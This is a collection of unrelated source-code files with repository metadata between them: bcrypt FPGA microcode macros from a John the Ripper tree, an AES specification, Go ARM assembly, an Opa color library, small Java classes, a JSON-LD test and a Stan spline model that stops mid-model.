`define JMP_PDAR_ne29 `MC_NBITS_CONDITION'd16
`define JMP_not_cmp_result `MC_NBITS_CONDITION'd17
//
//`define JMP_
// ****************************************
// what if condition for jump is not met.
`define MC_NBITS_FLOW 2
// FLOW_X_ <-- remain at same step
`define FLOW_X_ 2'b00
`define FLOW_NEXT 2'b01
`define FLOW_CALL 2'b10
`define FLOW_RETURN 2'b11
// ****************************************
// Microcode addresses
`define MC_X_ 7'd127
// Subroutines
`define MC_LR_ZERO_P_XOR_EK 7'd60
`define MC_BF_ENCRYPT_ROUNDS_1_16 7'd58
`define MC_SAVE_ITER_CURR 7'd56
`define MC_BF_MAIN 7'd42
`define MC_LR_ZERO_P_XOR_SALT 7'd53
`define MC_ITER_CURR_DECR 7'd40
`define MC_OUTPUT 7'd93
// ****************************************
`define MC_NBITS_TOTAL ( \
`MC_NBITS_E + 2 + \
`MC_NBITS_P + \
`MC_NBITS_LR + `MC_NBITS_S + \
`MC_ADDR_MSB+1 + \
`MC_NBITS_CONDITION + `MC_NBITS_FLOW \
)
// ****************************************
`define CMD_NOP { `E_X_, `INPUT_X_, \
`P_X_, `PNWAR_X_, `PNAR_X_, `PDAR_X_, \
`LR_X_, `S_X_, `SWAR_X_, \
`MC_X_, `JMP_X_, `FLOW_NEXT } \
`define CMD_RETURN { `E_X_, `INPUT_X_, \
`P_X_, `PNWAR_X_, `PNAR_X_, `PDAR_X_, \
`LR_X_, `S_X_, `SWAR_X_, \
`MC_X_, `JMP_X_, `FLOW_RETURN } \
`define CMD_CALL(arg) \
{ `E_X_, `INPUT_X_, \
`P_X_, `PNWAR_X_, `PNAR_X_, `PDAR_X_, \
`LR_X_, `S_X_, `SWAR_X_, \
arg, `JMP_X_, `FLOW_CALL } \
`define CMD_JMP(arg) \
{ `E_X_, `INPUT_X_, \
`P_X_, `PNWAR_X_, `PNAR_X_, `PDAR_X_, \
`LR_X_, `S_X_, `SWAR_X_, \
arg, `JMP_UNCONDITIONAL, `FLOW_X_ } \
`endif
| SystemVerilog | 3 | bourbon-hunter/OSCPRepo | Tools/JohnTheRipper-bleeding-jumbo/src/ztex/fpga-bcrypt/bcrypt/bcrypt.vh | [
"MIT"
] |
/*
Module: AES
Copyright: (c) 2004 Galois Connections, Inc.
Author: Mark Shields, Galois Connections, Inc. <[email protected]>
*/
/* The Advanced Encryption Standard (Rijndael) algorithm */
exports aes, sea;
// ----------------------------------------
// Constants and Types
// ----------------------------------------
Nb = 128 / 32;
Nk = 128 / 32;
Nr = max Nb Nk + 6; // NOTE: (Nr+1)*Nb must be < 256
Byte = B^8;
Key = Byte^(4*Nk);
Block = Byte^(Nb*4);
State = Byte^Nb^4;
KeySched = (State, State^(Nr-1), State);
// ----------------------------------------
// Matrix multiplication in Galois field 2
// ----------------------------------------
bitMmult : (B^8^8, B^8) -> B^8;
bitMmult (xss, ys) = [ parity (xs && ys) | xs <- xss ];
// ----------------------------------------
// Galois field B^8
// ----------------------------------------
// polynomial x
GUnit = 0b00000010;
// irreducible polynomial x^8 + x^4 + x^3 + x + 1
GIrred = 0b100011011;
gtimes : (Byte, Byte) -> Byte;
gtimes (x, y) = pmod (pmult x y) GIrred;
gpower : (Byte, Byte) -> Byte;
gpower (x, i) = ps @@ i
where {
rec
ps : Byte^inf[8,?];
ps = [1] ## [ gtimes (x, p) | p <- ps ];
};
ginverse : Byte -> Byte;
ginverse x = if x == 0 then 0 else pinv GIrred x ;
// ----------------------------------------
// Matrix multiplication in Galois field B^8
// ----------------------------------------
byteSum : Byte^4 -> Byte;
byteSum xs = sums @@ Nb
where {
rec
sums : Byte^inf;
sums = [0] ## [ x ^^ y | x <- cycle xs | y <- sums ];
};
byteDot : (Byte^4, Byte^4) -> Byte;
byteDot (as, bs) = byteSum [ gtimes (a, b) | a <- as | b <- bs ];
byteMmult : (Byte^4^4, Byte^4) -> Byte^4;
byteMmult (xss, ys) = [ byteDot (xs, ys) | xs <- xss ];
// ----------------------------------------
// S-boxes
// ----------------------------------------
affMat : Byte^8;
affMat = [ 0xf8 >>> i | i <- [0{3} .. 7] ];
invAffMat : Byte^8;
invAffMat = [ 0x52 >>> i | i <- [0{3} .. 7] ];
affine : Byte -> Byte;
affine xs = bitMmult (affMat, xs) ^^ 0x63;
invAffine : Byte -> Byte;
invAffine xs = bitMmult (invAffMat, xs ^^ 0x63);
sbox : Byte^256;
sbox =
if mcc_target == "aamp-deep" then
/* Takes too long on AAMP model */
zero
else
[ affine (ginverse x) | x <- [0{8} .. 255] ];
invSbox : Byte^256;
invSbox =
if mcc_target == "aamp-deep" then
/* Takes too long on AAMP model */
zero
else
[ ginverse (invAffine x) | x <- [0{8} .. 255] ];
// ----------------------------------------
// Rounds
// ----------------------------------------
byteSub : State -> State;
byteSub state = [ [ sbox @ x | x <- row ] | row <- state ];
invByteSub : State -> State;
invByteSub state = [ [ invSbox @ x | x <- row ] | row <- state ];
shiftRow : State -> State;
shiftRow state = [ row <<< i | row <- state | i <- [ 0{2}..3 ] ];
invShiftRow : State -> State;
invShiftRow state = [ row >>> i | row <- state | i <- [ 0{2}..3 ] ];
polyMat : Byte^Nb -> State;
polyMat coeff = transpose [ coeff >>> i | i <- [0{2}..3] ];
cx : State;
cx = polyMat [ 0x02, 0x01, 0x01, 0x03 ];
dx : State;
dx = polyMat [ 0x0e, 0x09, 0x0d, 0x0b ];
mixColumn : State -> State;
mixColumn state = transpose [ byteMmult (cx, col) | col <- transpose state ];
invMixColumn : State -> State;
invMixColumn state = transpose [ byteMmult (dx, col) | col <- transpose state ];
xorS : (State, State) -> State;
// xorS (xss, yss) = [ [ x ^^ y | x <- xs | y <- ys ] | xs <- xss | ys <- yss ];
xorS (x, y) = split (split (join (join x) ^^ join (join y)));
round : (State, State) -> State;
round (state, roundKey) = xorS (mixColumn (shiftRow (byteSub state)), roundKey);
finalRound : (State, State) -> State;
finalRound (state, roundKey) = xorS (shiftRow (byteSub state), roundKey);
invRound : (State, State) -> State;
invRound (state, roundKey)
= xorS (invMixColumn (invShiftRow (invByteSub state)), roundKey);
invFinalRound : (State, State) -> State;
invFinalRound (state, roundKey)
= xorS (invShiftRow (invByteSub state), roundKey);
rounds : (State, KeySched) -> State;
rounds (state, (initialKey, rndKeys, finalKey))
= finalRound (rnds @@ (Nr - 1), finalKey)
where {
rec
rnds : State^inf;
rnds = [xorS (state, initialKey)] ## [ round (state', key)
| state' <- rnds
| key <- cycle rndKeys ];
};
invRounds : (State, KeySched) -> State;
invRounds (state, (initialKey, rndKeys, finalKey))
= invFinalRound (rnds @@ (Nr - 1), initialKey)
where {
invRndKeys : State^(Nr-1);
invRndKeys = [ invMixColumn k | k <- reverse rndKeys ];
rec
rnds : State^inf;
rnds = [xorS (state, finalKey)] ## [ invRound (state', key)
| state' <- rnds
| key <- cycle invRndKeys ];
};
// ----------------------------------------
// Key Schedule
// ----------------------------------------
xorB4 : (Byte^4, Byte^4) -> Byte^4;
// xorB4 (xs, ys) = [ x ^^ y | x <- xs | y <- ys ];
xorB4 (x, y) = split (join x ^^ join y);
subByte : Byte^4 -> Byte^4;
subByte p = [ sbox @ x | x <- p ];
rcon : Byte -> Byte^4;
rcon i = [gpower (GUnit, i - 1), 0, 0, 0];
nextWord : (Byte, Byte^4, Byte^4) -> Byte^4;
nextWord (i, old, prev) = xorB4 (old, prev')
where {
prev' : Byte^4;
prev' = if i % Nk == 0 then
xorB4 (subByte (prev <<< 1), rcon (i / Nk))
else if (6{8} < Nk) /\ (i % Nk == 4) then
subByte prev
else
prev;
};
keyExpansion : Key -> B^8^4^((Nr+1)*Nb);
keyExpansion key = takes w
where {
keyCols : B^8^4^Nk;
keyCols = split key;
rec
w : B^8^4^inf[?,(Nr+1)*Nb];
w = keyCols ## [ nextWord (i, old, prev)
| i <- cycle [Nk{8}..(Nr+1)*Nb-1]
| old <- w
| prev <- drops{Nk-1} w ];
};
keySchedule : Key -> KeySched;
keySchedule key = (rKeys @ 0, segment rKeys 1, rKeys @ Nr)
where {
w : B^8^4^((Nr+1)*Nb);
w = keyExpansion key;
rKeys : B^8^Nb^4^(Nr+1);
rKeys = [ transpose ws | ws <- split{Nb} w ];
};
// ----------------------------------------
// Top-level
// ----------------------------------------
stripe : Block -> State;
stripe block = transpose (split block);
unstripe : State -> Block;
unstripe state = join (transpose state);
encrypt : (Block, KeySched) -> Block;
encrypt (pt, keySched) = unstripe (rounds (stripe pt, keySched));
decrypt : (Block, KeySched) -> Block;
decrypt (ct, keySched) = unstripe (invRounds (stripe ct, keySched));
// ----------------------------------------
// Entry points
// ----------------------------------------
aes : (Block, Key) -> Block;
aes (pt, key) = encrypt (pt, keySchedule key);
sea : (Block, Key) -> Block;
sea (ct, key) = decrypt (ct, keySchedule key);
| MAXScript | 5 | mayankmanj/acl2 | books/workshops/2006/pike-shields-matthews/core_verifier/AES/AES.mcr | [
"BSD-3-Clause"
] |
// Code generated by mkpreempt.go; DO NOT EDIT.
#include "go_asm.h"
#include "textflag.h"
TEXT ·asyncPreempt(SB),NOSPLIT|NOFRAME,$0-0
MOVW.W R14, -188(R13)
MOVW R0, 4(R13)
MOVW R1, 8(R13)
MOVW R2, 12(R13)
MOVW R3, 16(R13)
MOVW R4, 20(R13)
MOVW R5, 24(R13)
MOVW R6, 28(R13)
MOVW R7, 32(R13)
MOVW R8, 36(R13)
MOVW R9, 40(R13)
MOVW R11, 44(R13)
MOVW R12, 48(R13)
MOVW CPSR, R0
MOVW R0, 52(R13)
MOVB ·goarm(SB), R0
CMP $6, R0
BLT nofp
MOVW FPCR, R0
MOVW R0, 56(R13)
MOVD F0, 60(R13)
MOVD F1, 68(R13)
MOVD F2, 76(R13)
MOVD F3, 84(R13)
MOVD F4, 92(R13)
MOVD F5, 100(R13)
MOVD F6, 108(R13)
MOVD F7, 116(R13)
MOVD F8, 124(R13)
MOVD F9, 132(R13)
MOVD F10, 140(R13)
MOVD F11, 148(R13)
MOVD F12, 156(R13)
MOVD F13, 164(R13)
MOVD F14, 172(R13)
MOVD F15, 180(R13)
nofp:
CALL ·asyncPreempt2(SB)
MOVB ·goarm(SB), R0
CMP $6, R0
BLT nofp2
MOVD 180(R13), F15
MOVD 172(R13), F14
MOVD 164(R13), F13
MOVD 156(R13), F12
MOVD 148(R13), F11
MOVD 140(R13), F10
MOVD 132(R13), F9
MOVD 124(R13), F8
MOVD 116(R13), F7
MOVD 108(R13), F6
MOVD 100(R13), F5
MOVD 92(R13), F4
MOVD 84(R13), F3
MOVD 76(R13), F2
MOVD 68(R13), F1
MOVD 60(R13), F0
MOVW 56(R13), R0
MOVW R0, FPCR
nofp2:
MOVW 52(R13), R0
MOVW R0, CPSR
MOVW 48(R13), R12
MOVW 44(R13), R11
MOVW 40(R13), R9
MOVW 36(R13), R8
MOVW 32(R13), R7
MOVW 28(R13), R6
MOVW 24(R13), R5
MOVW 20(R13), R4
MOVW 16(R13), R3
MOVW 12(R13), R2
MOVW 8(R13), R1
MOVW 4(R13), R0
MOVW 188(R13), R14
MOVW.P 192(R13), R15
UNDEF
| GAS | 1 | SSSDNSY/go | src/runtime/preempt_arm.s | [
"BSD-3-Clause"
] |
package lib;
@SamWithReceiver
public interface Job {
public void execute(String context, int other);
} | Java | 3 | AndrewReitz/kotlin | libraries/tools/kotlin-maven-plugin-test/src/it/test-sam-with-receiver-simple/src/main/java/lib/Job.java | [
"ECL-2.0",
"Apache-2.0"
] |
/*
Copyright © 2011 MLstate
This file is part of Opa.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/**
* Colors management
*/
package stdlib.core.color
import stdlib.core.parser
/**
* {1 About this module}
*
* {1 Where should I start ?}
*
* {1 What if I need more?}
*/
/**
* {1 Types defined in this module}
*/
type color = Color.color
type Color.color = { r : int ; g : int ; b : int ; a : int}
type Color.color_hsv = {h:float s:float v:float}
/**
* {1 Interface}
*/
Color = {{
// from http://mjijackson.com/2008/02/rgb-to-hsl-and-rgb-to-hsv-color-model-conversion-algorithms-in-javascript
to_hsv(c : Color.color) : Color.color_hsv =
(r, g, b) = (Float.of_int(c.r), Float.of_int(c.g), Float.of_int(c.b));
r = r/255.; g = g/255.; b = b/255.;
max = max(r, max(g, b)); min = min(r, min(g, b));
(h, _s, v) = (max, max, max);
d = max - min;
s = if (max == 0.) then 0. else d / max;
h =
if(max == min)
then
0. // achromatic
else
h = if (max == r)
then (g - b) / d + (if (g < b) then 6. else 0.)
else if (max == g)
then (b - r) / d + 2.
else if (max == b)
then (r - g) / d + 4.
else h
h / 6.
{~h ~s ~v} : Color.color_hsv;
of_hsv({h=h s=s v=v} : Color.color_hsv) : Color.color =
if ( s == 0. ) //HSV from 0 to 1
then
vi = Int.of_float(v * 255.)
{r=vi g=vi b=vi a= 255}
else
vh = h * 6.
vh = if ( vh == 6. ) then 0. else vh //H must be < 1
vi =Float.floor( vh ) //Or ... var_i = floor( var_h )
v1 = v * ( 1. - s )
v2 = v * ( 1. - s * ( vh - vi ) )
v3 = v * ( 1. - s * ( 1. - ( vh - vi ) ) )
(r,g,b) = match Int.of_float(vi) with
| 0 -> (v,v3,v1)
| 1 -> (v2,v,v1)
| 2 -> (v1,v,v3)
| 3 -> (v1,v2,v)
| 4 -> (v3,v1,v)
| _ -> (v,v1,v2)
end
{r = Int.of_float(r * 255.) //RGB results from 0 to 255
g = Int.of_float(g * 255.)
b = Int.of_float(b * 255.)
a = 255}
@private
color_value(x : int) : int =
if x < 0 then 0
else if x > 255 then 255
else x
color_to_string(c:color) =
match c.a with
| 0 -> "transparent"
| 255 -> "rgb({color_value(c.r)},{color_value(c.g)},{color_value(c.b)})"
| _ -> "rgba({color_value(c.r)},{color_value(c.g)},{color_value(c.b)},{color_value(c.a)/255})"
of_string : string -> option(color) =
Parser.try_parse(color_parser, _)
// FIXME: this duplicates functionality of opalang/syntax/css.trx
color_parser = parser
| r = color_hexa_parser -> r
| r = color_rgb_parser -> r
| r = color_name_parser -> r
@private
color_hexa_parser =
hc1 = parser v1=Rule.hexadecimal -> v1 * 17 // hint: 16 + 1
hc2 = parser v1=Rule.hexadecimal v2=Rule.hexadecimal -> v1*16 + v2
parser
| "#" r=hc2 g=hc2 b=hc2 a=hc2 -> rgba(r,g,b,a)
| "#" r=hc2 g=hc2 b=hc2 -> rgb(r,g,b)
| "#" r=hc1 g=hc1 b=hc1 a=hc1 -> rgba(r,g,b,a)
| "#" r=hc1 g=hc1 b=hc1 -> rgb(r,g,b)
@private
color_rgb_parser = parser
| "rgb(" Rule.ws r = Rule.byte Rule.ws "," Rule.ws g = Rule.byte Rule.ws "," Rule.ws b = Rule.byte Rule.ws ")" -> rgb(r,g,b)
| "rgba(" Rule.ws r = Rule.byte Rule.ws "," Rule.ws g = Rule.byte Rule.ws "," Rule.ws b = Rule.byte Rule.ws "," Rule.ws a = Rule.float_0_1 Rule.ws ")" -> rgba(r,g,b,Float.to_int(a*255.))
@private
color_name_parser = parser
| "yellowgreen" -> yellowgreen
| "yellow" -> yellow
| "whitesmoke" -> whitesmoke
| "white" -> white
| "wheat" -> wheat
| "violet" -> violet
| "turquoise" -> turquoise
| "transparent" -> transparent
| "tomato" -> tomato
| "thistle" -> thistle
| "teal" -> teal
| "tan" -> tan
| "steelblue" -> steelblue
| "springgreen" -> springgreen
| "snow" -> snow
| "slategray" -> slategray
| "slateblue" -> slateblue
| "skyblue" -> skyblue
| "silver" -> silver
| "sienna" -> sienna
| "seashell" -> seashell
| "seagreen" -> seagreen
| "sandybrown" -> sandybrown
| "salmon" -> salmon
| "saddlebrown" -> saddlebrown
| "royalblue" -> royalblue
| "rosybrown" -> rosybrown
| "red" -> red
| "purple" -> purple
| "powderblue" -> powderblue
| "plum" -> plum
| "pink" -> pink
| "peru" -> peru
| "peachpuff" -> peachpuff
| "papayawhip" -> papayawhip
| "palevioletred" -> palevioletred
| "paleturquoise" -> paleturquoise
| "palegreen" -> palegreen
| "palegoldenrod" -> palegoldenrod
| "orchid" -> orchid
| "orangered" -> orangered
| "orange" -> orange
| "olivedrab" -> olivedrab
| "olive" -> olive
| "oldlace" -> oldlace
| "navy" -> navy
| "navajowhite" -> navajowhite
| "moccasin" -> moccasin
| "mistyrose" -> mistyrose
| "mintcream" -> mintcream
| "midnightblue" -> midnightblue
| "mediumvioletred" -> mediumvioletred
| "mediumturquoise" -> mediumturquoise
| "mediumspringgreen" -> mediumspringgreen
| "mediumslateblue" -> mediumslateblue
| "mediumseagreen" -> mediumseagreen
| "mediumpurple" -> mediumpurple
| "mediumorchid" -> mediumorchid
| "mediumblue" -> mediumblue
| "mediumaquamarine" -> mediumaquamarine
| "maroon" -> maroon
| "magenta" -> magenta
| "linen" -> linen
| "limegreen" -> limegreen
| "lime" -> lime
| "lightyellow" -> lightyellow
| "lightsteelblue" -> lightsteelblue
| "lightslategray" -> lightslategray
| "lightskyblue" -> lightskyblue
| "lightseagreen" -> lightseagreen
| "lightsalmon" -> lightsalmon
| "lightpink" -> lightpink
| "lightgreen" -> lightgreen
| "lightgrey" -> lightgrey
| "lightgoldenrodyellow" -> lightgoldenrodyellow
| "lightcyan" -> lightcyan
| "lightcoral" -> lightcoral
| "lightblue" -> lightblue
| "lemonchiffon" -> lemonchiffon
| "lawngreen" -> lawngreen
| "lavenderblush" -> lavenderblush
| "lavender" -> lavender
| "khaki" -> khaki
| "ivory" -> ivory
| "indigo" -> indigo
| "indianred" -> indianred
| "hotpink" -> hotpink
| "honeydew" -> honeydew
| "greenyellow" -> greenyellow
| "green" -> green
| "gray" -> gray
| "goldenrod" -> goldenrod
| "gold" -> gold
| "ghostwhite" -> ghostwhite
| "gainsboro" -> gainsboro
| "fuchsia" -> fuchsia
| "forestgreen" -> forestgreen
| "floralwhite" -> floralwhite
| "firebrick" -> firebrick
| "dodgerblue" -> dodgerblue
| "dimgray" -> dimgray
| "deepskyblue" -> deepskyblue
| "deeppink" -> deeppink
| "darkviolet" -> darkviolet
| "darkturquoise" -> darkturquoise
| "darkslategray" -> darkslategray
| "darkslateblue" -> darkslateblue
| "darkseagreen" -> darkseagreen
| "darksalmon" -> darksalmon
| "darkred" -> darkred
| "darkorchid" -> darkorchid
| "darkorange" -> darkorange
| "darkolivegreen" -> darkolivegreen
| "darkmagenta" -> darkmagenta
| "darkkhaki" -> darkkhaki
| "darkgreen" -> darkgreen
| "darkgray" -> darkgray
| "darkgoldenrod" -> darkgoldenrod
| "darkcyan" -> darkcyan
| "darkblue" -> darkblue
| "cyan" -> cyan
| "crimson" -> crimson
| "cornsilk" -> cornsilk
| "cornflowerblue" -> cornflowerblue
| "coral" -> coral
| "chocolate" -> chocolate
| "chartreuse" -> chartreuse
| "cadetblue" -> cadetblue
| "burlywood" -> burlywood
| "brown" -> brown
| "blueviolet" -> blueviolet
| "blue" -> blue
| "blanchedalmond" -> blanchedalmond
| "black" -> black
| "bisque" -> bisque
| "beige" -> beige
| "azure" -> azure
| "aquamarine" -> aquamarine
| "aqua" -> aqua
| "antiquewhite" -> antiquewhite
| "aliceblue" -> aliceblue
rgba(r, g, b, a) : color =
r = color_value(r)
g = color_value(g)
b = color_value(b)
a = color_value(a)
{~r ~g ~b ~a}
rgb(r, g, b) : color=
rgba(r, g, b, 255)
r(c:color) = c.r
g(c:color) = c.g
b(c:color) = c.b
a(c:color) = c.a
set_r(c, v) = {c:color with r = color_value(v)}
set_g(c, v) = {c:color with g = color_value(v)}
set_b(c, v) = {c:color with b = color_value(v)}
set_a(c, v) = {c:color with a = color_value(v)}
transparent = rgba(0,0,0,0)
aliceblue = rgb(240, 248, 255)
antiquewhite = rgb(250, 235, 215)
aqua = rgb( 0, 255, 255)
aquamarine = rgb(127, 255, 212)
azure = rgb(240, 255, 255)
beige = rgb(245, 245, 220)
bisque = rgb(255, 228, 196)
black = rgb( 0, 0, 0)
blanchedalmond = rgb(255, 235, 205)
blue = rgb( 0, 0, 255)
blueviolet = rgb(138, 43, 226)
brown = rgb(165, 42, 42)
burlywood = rgb(222, 184, 135)
cadetblue = rgb( 95, 158, 160)
chartreuse = rgb(127, 255, 0)
chocolate = rgb(210, 105, 30)
coral = rgb(255, 127, 80)
cornflowerblue = rgb(100, 149, 237)
cornsilk = rgb(255, 248, 220)
crimson = rgb(220, 20, 60)
cyan = rgb( 0, 255, 255)
darkblue = rgb( 0, 0, 139)
darkcyan = rgb( 0, 139, 139)
darkgoldenrod = rgb(184, 134, 11)
darkgray = rgb(169, 169, 169)
darkgreen = rgb( 0, 100, 0)
darkkhaki = rgb(189, 183, 107)
darkmagenta = rgb(139, 0, 139)
darkolivegreen = rgb( 85, 107, 47)
darkorange = rgb(255, 140, 0)
darkorchid = rgb(153, 50, 204)
darkred = rgb(139, 0, 0)
darksalmon = rgb(233, 150, 122)
darkseagreen = rgb(143, 188, 143)
darkslateblue = rgb( 72, 61, 139)
darkslategray = rgb( 47, 79, 79)
darkturquoise = rgb( 0, 206, 209)
darkviolet = rgb(148, 0, 211)
deeppink = rgb(255, 20, 147)
deepskyblue = rgb( 0, 191, 255)
dimgray = rgb(105, 105, 105)
dodgerblue = rgb( 30, 144, 255)
firebrick = rgb(178, 34, 34)
floralwhite = rgb(255, 250, 240)
forestgreen = rgb( 34, 139, 34)
fuchsia = rgb(255, 0, 255)
gainsboro = rgb(220, 220, 220)
ghostwhite = rgb(248, 248, 255)
gold = rgb(255, 215, 0)
goldenrod = rgb(218, 165, 32)
gray = rgb(128, 128, 128)
green = rgb( 0, 128, 0)
greenyellow = rgb(173, 255, 47)
honeydew = rgb(240, 255, 240)
hotpink = rgb(255, 105, 180)
indianred = rgb(205, 92, 92)
indigo = rgb( 75, 0, 130)
ivory = rgb(255, 255, 240)
khaki = rgb(240, 230, 140)
lavender = rgb(230, 230, 250)
lavenderblush = rgb(255, 240, 245)
lawngreen = rgb(124, 252, 0)
lemonchiffon = rgb(255, 250, 205)
lightblue = rgb(173, 216, 230)
lightcoral = rgb(240, 128, 128)
lightcyan = rgb(224, 255, 255)
lightgoldenrodyellow = rgb(250, 250, 210)
lightgrey = rgb(211, 211, 211)
lightgreen = rgb(144, 238, 144)
lightpink = rgb(255, 182, 193)
lightsalmon = rgb(255, 160, 122)
lightseagreen = rgb( 32, 178, 170)
lightskyblue = rgb(135, 206, 250)
lightslategray = rgb(119, 136, 153)
lightsteelblue = rgb(176, 196, 222)
lightyellow = rgb(255, 255, 224)
lime = rgb( 0, 255, 0)
limegreen = rgb( 50, 205, 50)
linen = rgb(250, 240, 230)
magenta = rgb(255, 0, 255)
maroon = rgb(128, 0, 0)
mediumaquamarine = rgb(102, 205, 170)
mediumblue = rgb( 0, 0, 205)
mediumorchid = rgb(186, 85, 211)
mediumpurple = rgb(147, 112, 216)
mediumseagreen = rgb( 60, 179, 113)
mediumslateblue = rgb(123, 104, 238)
mediumspringgreen = rgb( 0, 250, 154)
mediumturquoise = rgb( 72, 209, 204)
mediumvioletred = rgb(199, 21, 133)
midnightblue = rgb( 25, 25, 112)
mintcream = rgb(245, 255, 250)
mistyrose = rgb(255, 228, 225)
moccasin = rgb(255, 228, 181)
navajowhite = rgb(255, 222, 173)
navy = rgb( 0, 0, 128)
oldlace = rgb(253, 245, 230)
olive = rgb(128, 128, 0)
olivedrab = rgb(107, 142, 35)
orange = rgb(255, 165, 0)
orangered = rgb(255, 69, 0)
orchid = rgb(218, 112, 214)
palegoldenrod = rgb(238, 232, 170)
palegreen = rgb(152, 251, 152)
paleturquoise = rgb(175, 238, 238)
palevioletred = rgb(216, 112, 147)
papayawhip = rgb(255, 239, 213)
peachpuff = rgb(255, 218, 185)
peru = rgb(205, 133, 63)
pink = rgb(255, 192, 203)
plum = rgb(221, 160, 221)
powderblue = rgb(176, 224, 230)
purple = rgb(128, 0, 128)
red = rgb(255, 0, 0)
rosybrown = rgb(188, 143, 143)
royalblue = rgb( 65, 105, 225)
saddlebrown = rgb(139, 69, 19)
salmon = rgb(250, 128, 114)
sandybrown = rgb(244, 164, 96)
seagreen = rgb( 46, 139, 87)
seashell = rgb(255, 245, 238)
sienna = rgb(160, 82, 45)
silver = rgb(192, 192, 192)
skyblue = rgb(135, 206, 235)
slateblue = rgb(106, 90, 205)
slategray = rgb(112, 128, 144)
snow = rgb(255, 250, 250)
springgreen = rgb( 0, 255, 127)
steelblue = rgb( 70, 130, 180)
tan = rgb(210, 180, 140)
teal = rgb( 0, 128, 128)
thistle = rgb(216, 191, 216)
tomato = rgb(255, 99, 71)
turquoise = rgb( 64, 224, 208)
violet = rgb(238, 130, 238)
wheat = rgb(245, 222, 179)
white = rgb(255, 255, 255)
whitesmoke = rgb(245, 245, 245)
yellow = rgb(255, 255, 0)
yellowgreen = rgb(154, 205, 50)
}}
| Opa | 5 | Machiaweliczny/oppailang | lib/stdlib/core/color/color.opa | [
"MIT"
] |
# NCSNv3
Code for noise-conditional score networks in FLAX.
Usage example:
```bash
python -m ncsnv3.main --workdir=/tmp --config=ncsnv3/configs/ncsnv3/cifar10.py
```
| Markdown | 1 | deepneuralmachine/google-research | ncsnv3/README.md | [
"Apache-2.0"
] |
{
"@context": {
"@version": 1.1,
"foo": {
"@id": "@type",
"@prefix": true
}
},
"foo:bar": "http://example.org/baz"
}
| JSONLD | 2 | donbowman/rdflib | test/jsonld/1.1/toRdf/pr33-in.jsonld | [
"BSD-3-Clause"
] |
package com.baeldung.objects;
public class Car {
private String type;
private String model;
private String color;
private int speed;
public Car(String type, String model, String color) {
this.type = type;
this.model = model;
this.color = color;
}
public String getColor() {
return color;
}
public void setColor(String color) {
this.color = color;
}
public int getSpeed() {
return speed;
}
public int increaseSpeed(int increment) {
if (increment > 0) {
this.speed += increment;
} else {
System.out.println("Increment can't be negative.");
}
return this.speed;
}
public int decreaseSpeed(int decrement) {
if (decrement > 0 && decrement <= this.speed) {
this.speed -= decrement;
} else {
System.out.println("Decrement can't be negative or greater than current speed.");
}
return this.speed;
}
@Override
public String toString() {
return "Car [type=" + type + ", model=" + model + ", color=" + color + ", speed=" + speed + "]";
}
}
| Java | 4 | DBatOWL/tutorials | core-java-modules/core-java-lang-oop-types/src/main/java/com/baeldung/objects/Car.java | [
"MIT"
] |
functions {
vector build_b_spline(real[] t, real[] ext_knots, int ind, int order);
vector build_b_spline(real[] t, real[] ext_knots, int ind, int order) {
vector[size(t)] b_spline;
vector[size(t)] w1 = rep_vector(0, size(t));
vector[size(t)] w2 = rep_vector(0, size(t));
if (order==1)
for (i in 1:size(t))
b_spline[i] = (ext_knots[ind] <= t[i]) && (t[i] < ext_knots[ind+1]);
else {
if (ext_knots[ind] != ext_knots[ind+order-1])
w1 = (to_vector(t) - rep_vector(ext_knots[ind], size(t))) /
(ext_knots[ind+order-1] - ext_knots[ind]);
if (ext_knots[ind+1] != ext_knots[ind+order])
w2 = 1 - (to_vector(t) - rep_vector(ext_knots[ind+1], size(t))) /
(ext_knots[ind+order] - ext_knots[ind+1]);
b_spline = w1 .* build_b_spline(t, ext_knots, ind, order-1) +
w2 .* build_b_spline(t, ext_knots, ind+1, order-1);
}
return b_spline;
}
}
data {
int N; // number of data points
int num_knots; // number of knots
vector[num_knots] knots; // location of knots
int spline_degree; // the degree of spline
int<lower=0> D; // number of days
int<lower=0> O; // number of officers
int<lower=0> W; // number of day of week
int<lower=0> M; // number of months
int<lower=0> H; // number of holidays
int day[N];
int officer[N];
int week[N];
int month[N];
int holiday[N];
int y[N]; // number of tickets written per officer per day
real X[N]; // relative productivity of officer in prev. period
int z[D]; // number of crashes per day
}
transformed data {
int num_basis = num_knots + spline_degree - 1;
matrix[num_basis, N] B;
vector[spline_degree + num_knots] ext_knots_temp;
vector[2*spline_degree + num_knots] ext_knots;
ext_knots_temp = append_row(rep_vector(knots[1], spline_degree), knots);
ext_knots = append_row(ext_knots_temp, rep_vector(knots[num_knots], spline_degree));
for (ind in 1:num_basis)
B[ind,:] = to_row_vector(build_b_spline(X, to_array_1d(ext_knots), ind, spline_degree + 1));
B[num_knots + spline_degree - 1, N] = 1;
}
parameters {
row_vector[num_basis] a_raw;
real a0;
real<lower=0> tau;
real beta_0;
real beta_1[O];
real beta_2[W];
real beta_3[M];
real beta_4[H];
vector[D] epsilon;
real<lower=0> sigma;
real<lower=0> sigma_0;
real<lower=0> sigma_1;
real<lower=0> sigma_2;
real<lower=0> sigma_3;
real<lower=0> sigma_4;
}
transformed parameters {
row_vector[num_basis] a;
vector[N] lambda;
a[num_basis] = 0;
for (i in 1:(num_basis - 1))
a[num_basis - i] = a[num_basis - i + 1] + a_raw[num_basis - i] * tau;
lambda = a0 * to_vector(X) + to_vector(a * B);
}
model {
// Prior
a_raw ~ normal(0, 1);
a0 ~ normal(0, 1);
tau ~ normal(0, 1);
beta_0 ~ normal(0, 1);
beta_1 ~ normal(0, 1);
beta_2 ~ normal(0, 1);
beta_3 ~ normal(0, 1);
beta_4 ~ normal(0, 1);
epsilon ~ normal(0, 1);
